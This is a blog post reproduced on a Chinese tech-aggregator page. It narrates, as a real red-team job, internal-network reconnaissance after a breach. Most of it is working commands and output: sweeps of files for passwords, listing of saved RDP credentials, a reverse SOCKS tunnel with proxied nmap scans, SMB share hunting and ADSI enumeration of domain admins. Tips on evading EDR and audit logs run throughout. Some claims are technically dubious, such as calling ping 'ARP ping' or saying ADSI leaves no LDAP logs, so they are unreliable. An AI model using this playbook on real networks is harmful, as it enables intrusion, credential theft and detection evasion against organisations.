惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

大猫的无限游戏
大猫的无限游戏
Security Archives - TechRepublic
Security Archives - TechRepublic
T
Threat Research - Cisco Blogs
A
Arctic Wolf
S
Securelist
O
OpenAI News
T
Threatpost
Forbes - Security
Forbes - Security
N
News and Events Feed by Topic
S
Secure Thoughts
H
Heimdal Security Blog
S
Security Affairs
P
Privacy International News Feed
C
Cisco Blogs
C
CERT Recently Published Vulnerability Notes
Cyberwarzone
Cyberwarzone
N
News and Events Feed by Topic
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
P
Palo Alto Networks Blog
S
Security @ Cisco Blogs
Hacker News - Newest:
Hacker News - Newest: "LLM"
博客园 - 三生石上(FineUI控件)
月光博客
月光博客
T
Tailwind CSS Blog
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Hacker News: Ask HN
Hacker News: Ask HN
T
Troy Hunt's Blog
S
SegmentFault 最新的问题
腾讯CDC
V
Visual Studio Blog
Last Week in AI
Last Week in AI
H
Hacker News: Front Page
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Project Zero
Project Zero
WordPress大学
WordPress大学
NISL@THU
NISL@THU
博客园 - 【当耐特】
博客园 - Franky
Webroot Blog
Webroot Blog
博客园_首页
T
Tenable Blog
雷峰网
雷峰网
Google Online Security Blog
Google Online Security Blog
阮一峰的网络日志
阮一峰的网络日志
V2EX - 技术
V2EX - 技术
Recent Commits to openclaw:main
Recent Commits to openclaw:main
L
Lohrmann on Cybersecurity
The Hacker News
The Hacker News

博客园_首页

Linux实操--组管理、权限管理和定时任务 Java + EasyExcel 实现单个接口导出多个Excel Mem0 源码解析系列(二):提示词工程的深度剖析 Openclaw TaskFlow究竟是什么?和普通Skill技能有什么区别 博文阅读密码验证 - 博客园 嘉立创开源:应该是全网MicroPython教程最多的开发板 Hermes Agent 集成实践:从协议到生产 2026年AI编程工具横评:Cursor、Codex、Claude Code、Zed、Windsurf Java程序员必看的RAG入门教程 2026 AI效率神器:Superpowers + Claude Code 保姆级教程 本地大模型部署全攻略:从 0 到 1 玩转 Ollama 【从0到1构建一个ClaudeAgent】内存管理-上下文压缩 .NET 高级开发 | 设计、实现一个事件总线框架 电子小白入门之NE555 3. WorkBuddy:隐藏玩法,一键召唤专家,让 AI 以"专家身份"给你干活 和AI一起搞事情#3:Claude Teammate 游戏开发翻车实录 【OpenClaw】通过 Nanobot 源码学习架构---(7)Memory C# .NET 周刊|2026年3月3期 我在 Debian 11 上把 K8s 单机搭起来了,过程没你想的那么顺(/opt 目录版) 深度学习进阶(七)Data-efficient Image Transformer CLI+Skill搭建浏览器AI自动化框架,告别一切重复枯燥任务 告别Token账单无底洞:OpenClaw本地部署,重塑企业数据主权的唯一解 FastAPI+Vue:文件分片上传+秒传+断点续传,这坑我帮你踩平了! SBTI 爆火后,我做了个程序员版的 CBTI。。已开源 + 附开发过程 多模态检索开始进入工程期:用 Sentence Transformers 搭建可落地的 Multimodal RAG 100多行代码实现一个最简单的Agent(用ReAct) Claude Code 通关手册(八):推荐 5 个 Hooks,代码质量提升 3 倍 老板:“有人截图了!”。安全部门:“收到,马上查暗水印!” - why技术 技术之外,皆是人间 C#/.NET/.NET Core技术前沿周刊 | 第 69 期(2026年4.01-4.12) Snack JSONPath 项目架构分析 Claude Code Buddy 小析:一个非核心功能,如何体现产品的细节完成度 AI新时代下的图床管理方案-Cloudflare图床+MCP+Skills方案指南 化繁为简:顺丰速运App如何通过 HarmonyOS SDK实现专业级空间测量 从零实现富文本编辑器#13-React非编辑节点的内容渲染 AI开发-python-langchain框架(3-23-OpenAI Functions风格Tool Calling智能助手) .NET + AI 进阶实战:基于类的技能开发 - 打造可治理的 Agent 能力模块 【从0到1构建一个ClaudeAgent】规划与协调-技能 上周热点回顾(4.6-4.12) 电子小白的工具三件套:面包板、杜邦线、万能板 单表五亿数据的查询优化 | Mysql、StarRocks 2. WorkBuddy:从“我是谁”到“帮我干活” C# 如何减少代码运行时间:7 个实战技巧 基于HelixToolkit.SharpDX 渲染3D模型 - 笺上知微 从零开始的双臂具身VLA起源及现阶段发展综述 - SkyXZ 记对 xonsh shell 的使用, 脚本编写, 迁移及调优 - pluvium27 受够了Vibe Coding的失控?换个起点,让AI事半功倍 从开始配置漏洞环境到漏洞复现流程 - 難しい 关于10年工作经验的程序员对OpenClaw的实战经验分享以及看法 - 虚无境 Any metadata 的内存布局 C# .NET 周刊|2026年3月2期 - InCerry 我帮你测过了,测试圈排名第二的 Skill 依然很牛逼 Skill Discovery | 无监督技能发现的经典工作总结 - MoonOut PbootCMS 网站内容数量多导致访问慢?这些实用优化方案帮你提速! - 家兴网络技术工作室 上下文工程是什么?过时了么?一文讲明白! - 一枫说码 网站漏洞怎么发现并修复?一篇实用指南(附完整流程) - 家兴网络技术工作室 开了 TUN 模式还是直连?90% 的人都踩过这个坑 Github日报|2026年04月12日 - AI一族 AScript扩展多种脚本语言 - rockey627 AI 学习笔记:Agent 的记忆机制 你能被装进一个文件里吗?——7 万人把同事"蒸馏"成了 AI - 我没有三颗心脏 Claude Code 通关手册(七):给 AI 装上技能包——Skills 完全指南 - 暮色之狐 在浏览器中快速编辑代码:VSCode Web 集成实践 - Newbe36524 蒸馏自己 skill?基于 Deepseek 的蒸馏器,丐版蒸馏方式,简单便捷 - To_Carpe_Diem Spring AI Aliababa和AgentScope,哪个更好? - 苏三说技术 Etsy 把 1000 个 MySQL 分片迁进 Vitess:425TB 数据背后的真正问题不是性能,而是运维规模 MicroPython LVGL基础知识和概念:底层渲染与性能优化 - FreakStudio 数据库草图算法 Python 潮流周刊#146:CPython 引入 Rust 的进展 - 豌豆花下猫 最小生成树 - mofei1116 红日靶场七:从外网入口、容器逃逸到 AD 接管的完整利用链复盘 - YouDiscovered1t 分享四款开源且实用的 Kafka 管理工具 - 追逐时光者 vLLM 权重加载机制全解析:从挑战到理想架构 LCT 学习笔记 - ACehomoxue Avalonia UI 12.0.0 正式发布:架构演进和性能飞跃 - 张善友 当 AI Agent 把调用链拉长,延迟开始成为一门生意 conhost.exe 无法显示 U+2717 - 145a 太秀了,我把自己蒸馏成了 Skill!已开源 - 程序员鱼皮 ASP.NET Core 内存缓存实战:一篇搞懂该怎么配、怎么避坑 基于 Ghostty 带有分割标签页和为 Claude 编程设计的通知终端 - BugShare AI 焊死入口:教育的“操作系统级”重塑 - 郝hai 初级Java开发工程师使用sql脚本编写代码的过程是简单而且不糊涂 - CoderOilStation Claude Code通关手册(六):MCP协议完全指南 - 暮色之狐 边框灯光环绕动画特效实现指南 - Newbe36524 开源:子木蒸馏版的 SEO 审计工具 seo-audit-skill v1.0 我所理解的Python元模型 【从0到1构建一个ClaudeAgent】规划与协调-TodoWrite - 程序员Seven Claude 和 Codex 在审计 Skill 上性能差异探究 - ACai_sec AScript如何实现中文脚本引擎 - rockey627 【渗透测试】HTB Season10 Garfield 全过程wp - dynasty_chenzi Android 开发者为什么必须掌握 AI 能力?端侧视角下的技术变革 树状数组正确性证明 - AC-wyr 你的 AI 焦虑,可能比 AI 本身更危险——ATM 机没有消灭银行柜员,但恐慌消灭了你的判断力 - 我没有三颗心脏 一个拉胯的分库分表方案有多绝望?整个部门都在救火! - 冰河团队 动态规划入门必学之走方格问题 - Ofnoname PostgREST 与 PostgreSQL 角色权限配置全解析(生产级实践) - SheepDog1998 使用 UEFI 图形输出协议 GOP 在屏幕上显示图像的方法 - 阿源- Claude Code通关手册(五):组建你的AI专家团队,子代理系统 - 暮色之狐 一个程序员到架构师的催婚路之感悟(整整10年后的催婚相亲感悟) - MisterLip 用 Agent Skill 自动生成工作周报 - 赵康
打进内网后一脸懵?内网渗透第一步——信息收集决定了你能走多远
明.Sir · 2026-06-24 · via 博客园_首页

打进内网后一脸懵?内网渗透第一步——信息收集决定了你能走多远

一个真实的红队故事,带你走完内网信息收集的每一步

上个月的真实场景

凌晨两点,我拿到了一台边界Web服务器的shell。

目标是一家中型企业的外网门户,一个存在了七八年的老PHP系统。通过一次SQL注入拿到了RDP用户密码,顺利登陆了这台WIndows Server 2012。

习惯性 ipconfig 看了一眼IP——172.16.1.105,妥妥的内网段。

我心想:"好,挖进去了。但然后呢?"

绝大多数安全从业者都卡在这一步——你突破边界进了内网,但面前是一片纯黑的网络海洋。你不知道旁边有哪些机器,不知道域控在哪,不知道哪些端口开着,更不知道哪些机器等你横向移动。

这一步,叫内网信息收集。90%的内网渗透成败,取决于信息收集做得够不够细。


第一章:为什么要做信息收集?

很多人觉得"我都进去了,直接扫呗"。

但真实场景下:

扫描行为会产生流量 → 可能触发IDS/EDR告警 → 蓝队把你扼杀在内网门口

信息收集的目的不是扫一圈IP列表,而是回答以下几个问题:

  • 我是谁——当前漏洞机的角色、域环境、网络配置
  • 旁边是谁——同一个网段有哪些邻居、网关在哪
  • 目标是谁——域控在哪、文件服务器在哪、数据库在哪
  • 我能去哪——还有哪些网段可以路由到达
  • 怎么不被发现——哪些流量会被监控

这五个问题,前四个回答的是"怎么打",第五个回答的是"怎么活"。


第二章:侦察第一轮——本地信息收集

拿到shell后,我做了这么几件事。

2.1 网络配置摸底

不管Windows还是Linux,第一件事永远是确认网络拓扑:

# Windows必查
ipconfig /all
route print
netstat -ano
arp -a
# Linux必查
ifconfig
ip route
netstat -tunlp
arp -n

为什么要查ARP表?

机器之间的通信只要在同一个二层网络,通信过的IP会短暂留在ARP表里。一个活跃的ARP表,基本就等于"隔壁有人的机器列表"。

我在这台Win Server上看到:

接口: 172.16.1.105 --- 0x0b
  Internet 地址      物理地址        类型
  172.16.1.1         00-50-56-b3-12-aa   动态    ← 网关
  172.16.1.10        00-50-56-b3-33-bb   动态    ← 有机器!
  172.16.1.20        00-50-56-b3-44-cc   动态    ← 有机器!
  172.16.1.50        00-50-56-b3-55-dd   动态    ← 有机器!
  172.16.1.100       00-50-56-b3-66-ee   动态    ← 有机器!
  172.16.2.15        00-50-56-b3-77-ff   动态    ← 跨网段?!

关键发现:172.16.1/24网段至少有4台活跃机器,而且还有一台172.16.2.15出现在ARP表里——这意味着这台机器的路由表里有通往别的网段的路径,或者这台机器本身是多网卡。

# 验证是否多网卡
ipconfig /all | findstr "IPv4"

果然,这台机器有两块网卡:

IPv4 Address: 172.16.1.105
IPv4 Address: 172.16.2.105

结论:这台机器是通往172.16.2/24的跳板机。大部分内网渗透都从这里开始——找"连接多网段的机器"。

2.2 域环境探测

确认域环境是信息收集中最关键的一步:

# 判断是否加域
systeminfo | findstr "Domain"

# 看到的结果
Domain: CORP.LOCAL

看到 CORP.LOCAL,心情瞬间上来了——加域的。这意味着存在域控(DC,Domain Controller),整个内网有一套统一的认证体系。

再查域控位置:

# 查当前登陆的域用户
whoami

# 结果
corp\zhangwei
# 查域控
nltest /dclget:corp.local

返回:

DC: \\DC01.corp.local
IP: 172.16.1.10

域控就在隔壁172.16.1.10——和ARP表上看到的那台机器是同一个IP。

一个重要的经验:拿到域控IP后,不要急着打。先做完整的信息收集,搞清楚域控上跑了什么服务,再做下一步决策。

2.3 本地敏感信息搜索

信息收集不只是看网络拓扑,还包括这台机器本身存储了什么东西:

# Windows - 搜各类密码相关文件
findstr /si password *.xml *.config *.txt *.ini *.bat *.ps1

# 搜Web配置文件
dir /s *.config *.env

# 搜RDP连接记录
dir /a cmdkey /list

我在这台机器上找到了一个 db_config.bak 文件:

[DB_Connection]
server=172.16.1.50
database=ERP_MAIN
user=sa
password=Corp@Admin!2024

又一个目标浮出水面——172.16.1.50,一台SQL Server数据库。

同时,cmdkey /list 显示:

当前保存的凭据目标:
    LegacyGeneric:target=TERMSRV/172.16.1.20
    LegacyGeneric:target=TERMSRV/172.16.1.10

这台机器上存了到172.16.1.20和172.16.1.10的RDP凭据!这些凭据在当前用户的Windows凭据管理器里,可以直接用 runas /savedcred 调用。


第三章:侦察第二轮——横向存活探测

做完本地信息收集,手里已经有几个目标IP了。接下来要做一件事——确认哪些机器真正在线上、哪些端口开放。

3.1 低噪存活探测

第一轮探测不用NMAP,因为NMAP的SYN扫描在很多EDR眼里是既定告警。我推荐两种方式:

# 方式1:利用ARP ping(二层,不产生IP层流量)
for /L %i in (1,1,254) do ping -n 1 -w 100 172.16.1.%i | find "TTL="
# 方式2:用powershell Test-NetConnection(速度更快)
1..254 | % { if (Test-Connection -Count 1 -ComputerName "172.16.1.$_" -Quiet) { "172.16.1.$_ is alive"} }

这种方式产生的流量特征和普通Windows机器的网络操作几乎没区别,EDR很难判定是恶意行为。

3.2 端口探测(用代理转发)

探测到存活主机后,不能拿着攻击机直接扫描——攻击机的IP不在内网段,扫不到。

正确做法是建立SOCKS代理转发:

# 在攻击机上执行(通过反弹shell的机器做跳板)
# 用frp或chisel建立socks隧道
chisel client <跳板机>:<端口> R:socks

然后在本地配置proxychains:

# /etc/proxychains.conf
socks5 127.0.0.1 1080

通过代理进行端口扫描:

proxychains -q nmap -sT -Pn -p 22,80,443,445,3389,3306,1433,8080,8443 \
  172.16.1.10 172.16.1.20 172.16.1.50

扫描结果:

172.16.1.10  →  DC01.corp.local
  PORT     STATE  SERVICE
  53/tcp   open   domain       ← DNS
  88/tcp   open   kerberos     ← Kerberos
  135/tcp  open   rpc
  139/tcp  open   netbios
  389/tcp  open   ldap         ← LDAP
  445/tcp  open   smb          ← SMB
  3389/tcp open   ms-wbt-server ← RDP
  5985/tcp open   winrm        ← WinRM

172.16.1.20  →  CORP-FILE01
  PORT     STATE  SERVICE
  135/tcp  open   rpc
  139/tcp  open   netbios
  445/tcp  open   smb
  3389/tcp open   ms-wbt-server

172.16.1.50  →  CORP-DB01
  PORT     STATE  SERVICE
  135/tcp  open   rpc
  1433/tcp open   ms-sql-s    ← SQL Server
  3389/tcp open   ms-wbt-server
血的教训:不要在跳板机上直接运行masscan/NMAP的全端口扫描。我曾见过一个红队兄弟,在跳板机上扫全端口被EDR告警,15分钟后蓝队就把他踢下线了。扫常用端口就够了,全端口扫描是给蓝队送业绩。

3.3 SMB共享探测

445端口开着的机器是内网渗透的金矿——SMB共享里往往躺着大量敏感文件:

# 列出目标机器上的所有共享
net view \\172.16.1.20

# 结果
共享名       类型       用途    注释
-------------------------------------------------------------------------------
Backup       Disk              备份共享
Data         Disk              部门数据
Finance$     Disk              财务数据(隐藏共享)
IPC$         IPC               远程 IPC

共享一多,第一个要挂上去的是隐藏共享 Finance$

# 尝试访问
dir \\172.16.1.20\Finance$

如果能访问,恭喜你找到金矿了。财务共享里通常有薪资表、对账单,这些在钓鱼邮件和社会工程学里是极好的素材。

如果提示无权限——正常。这时候不要硬来,记下这条共享路径,后续拿到域管权限后再来访问。


第四章:侦察第三轮——域内信息收集

这一步是拉开和其他红队差距的地方。大多数人在第二步就急着拿工具开扫了。但真正老练的红队会在这一步做细致的域信息收集

4.1 域用户枚举(不触发告警的方式)

用ADSI(AD Service Interface)查询,不走LDAP的审计log:

# PowerShell ADSI查询 - 域用户列表
$searcher = [ADSISearcher]'(&(objectClass=user)(objectCategory=person))'
$searcher.PageSize = 1000
$searcher.FindAll() | ForEach-Object {
    $user = $_.Properties
    [PSCustomObject]@{
        UserName = $user.samaccountname
        DisplayName = $user.displayname
        Enabled = $user.useraccountcontrol -band 2 -eq 0
        LastLogon = [datetime]::FromFileTime($($user.lastlogontimestamp[0]))
    }
} | Format-Table -AutoSize

这个查询方式的特点是——它用的是当前域用户的权限,走的是WMI/ADSI路径,不会产生明显的LDAP查询日志。蓝队如果没专门配ADSI审计,根本看不到你。

4.2 域管理组成员查询

找到域管理员是谁,等于找到了目标:

# 查询Domain Admins组
$searcher = [ADSISearcher]'(&(objectClass=group)(cn=Domain Admins))'
$result = $searcher.FindOne()
$result.Properties.member | ForEach-Object {
    $member = [ADSI]"LDAP://$_"
    $member.Properties.samaccountname
}

输出:

administrator
wang_li
zhang_wei
liu_hai

四名域管理员。查他们的登陆习惯:

# 查看域控的登陆会话
net session \\DC01
冷知识net session 走的是SMB协议,如果域控上SMB服务没有单独审计这行命令,它是不会产生告警的。

4.3 组策略与OU结构分析

OU(组织单元)结构直接暴露了企业的组织架构,这是做横向移动路线规划的重要信息:

$searcher = [ADSISearcher]'(&(objectClass=organizationalUnit))'
$searcher.FindAll() | ForEach-Object {
    $_.Properties.distinguishedname
}

输出:

OU=Domain Controllers,DC=corp,DC=local
OU=Servers,DC=corp,DC=local
OU=Workstations,DC=corp,DC=local
OU=Finance,OU=Servers,DC=corp,DC=local
OU=IT,OU=Servers,DC=corp,DC=local
OU=Executives,DC=corp,DC=local

看到这层结构,我立刻标记了两个重点:

  • OU=Finance → 刚才的SQL Server可能归属这里,里面有财务数据
  • OU=Executives → 高管的机器,可能存着机密文档

第五章:实操——把信息收集结果画成一张攻击地图

信息收集做完了,不要只停留在脑子里。画一张攻击地图,你才能看清全局。

我的习惯是在笔记里画一个简单的拓朴图:

                     ┌─────────────────────┐
                     │    攻击机 (Kali)     │
                     │     10.0.0.2        │
                     └─────────┬───────────┘
                               │ SSH隧道 (frp)
                               ▼
               ┌───────────────────────────────┐
               │     跳板机 (WEB01)             │
               │     172.16.1.105              │
               │     172.16.2.105              │←双网卡跳板
               │     CORP\zhangwei             │
               │     已获取: RDP凭据*2          │
               └───────┬───────────────┬───────┘
                       │               │
          ┌────────────┴─────┐   ┌────┴────────────┐
          │  172.16.1.10     │   │  172.16.1.20    │
          │  DC01            │   │  CORP-FILE01    │
          │  域控             │   │  文件服务器      │
          │  RDP凭据可用      │   │  共享: Backup   │
          │  目标: Kerberoast │   │  Data, Finance$│
          └──────────────────┘   └─────────────────┘
                               │
                    ┌──────────┴──────────┐
                    │  172.16.1.50        │
                    │  CORP-DB01          │
                    │  SQL Server 2019    │
                    │  sa密码已获取        │
                    │  DB: ERP_MAIN       │
                    └─────────────────────┘

有了这张图,横向移动的路线就很清楚了:

路线1:用已缓存的RDP凭据直接登陆DC01,尝试提权

路线2:用sa密码连接DB01,捞ERP数据

路线3:通过FILE01的共享,找敏感文件提炼更多凭据

路线4:通过双网卡跳板往172.16.2/24渗透


第六章:信息收集的黄金法则——5条经验总结

做了这么多年的内网渗透,我总结了几条铁律:

法则1:多花时间在"看"上,少花时间在"扫"上

具体比例:70%时间看,20%时间分析,10%时间扫

看是最安静的——看ARP表、看DNS缓存、看凭据管理器、看Local Admin组、看Scheduled Tasks。这些都是Windows系统自己的行为,EDR不会管。

扫是最噪的——一旦开始端口扫描,你就在EDR雷达上了。所以只在你知道要看什么的时候才扫。

法则2:信息收集不是"一次性"的

信息收集不是第一轮做完就结束了。 每横向移动一步,你都在一个新的机器上重新做一次信息收集。这台机器能看到什么网段?这台机器存了什么凭据?这台机器上有什么系统服务?

每一跳都是一次重新侦察。

法则3:优先打"多网卡"的机器

双网卡/多网卡机器是内网渗透的黄金跳板。发现一台多网卡机器,等于多了一条通往新网段的通道。用 ipconfig /all 确认多网卡的机器后,优先把它作为下一轮攻击的据点。

法则4:别忽视"过期"信息

ARP表里的条目、DNS缓存记录、凭据管理器里的过期凭据——这些都可能过期,但也可能是线索。过期的凭据说明某个服务曾经用这个账号连接过,这种"历史连接关系"本身就暴露了目标机器的角色。

法则5:最危险的不是读,是写

读数据不会触发告警,写数据才会。

信息收集阶段,你只是在读取已有的数据——查DNS、查路由表、查共享、查域成员。这些行为在EDR里的风险等级通常是Low。但一旦你开始创建服务、写入注册表、植入后门、添加用户——这些行为会触发Medium到Critical的告警。

所以:信息收集阶段能多安静就多安静,攻击操作留到做足了侦察再说。


写在最后

信息收集是内网渗透的基石。这一步做得够好,后面的横向移动才能做到"指哪打哪"。

这篇文章是内网渗透实战系列的第一篇。下一篇我们会讲——凭据窃取与横向移动技术,包括:

  • 如何从lsass.dmp中提取明文凭据
  • Pass-the-Hash和Overpass-the-Hash的技术细节
  • 用SMB exec和WMI exec做横向移动
  • 如何绕过常见EDR的横向移动检测

如果你有内网渗透方面的问题或想看的主题,欢迎留言。下期见。

打得了一台机器不叫渗透,拿到了整个域才叫渗透。
信息收集的工作量决定了你能走得有多远。


关注「安全值班室」公众号

每天实战攻防案例 + 安全干货

关注安全值班室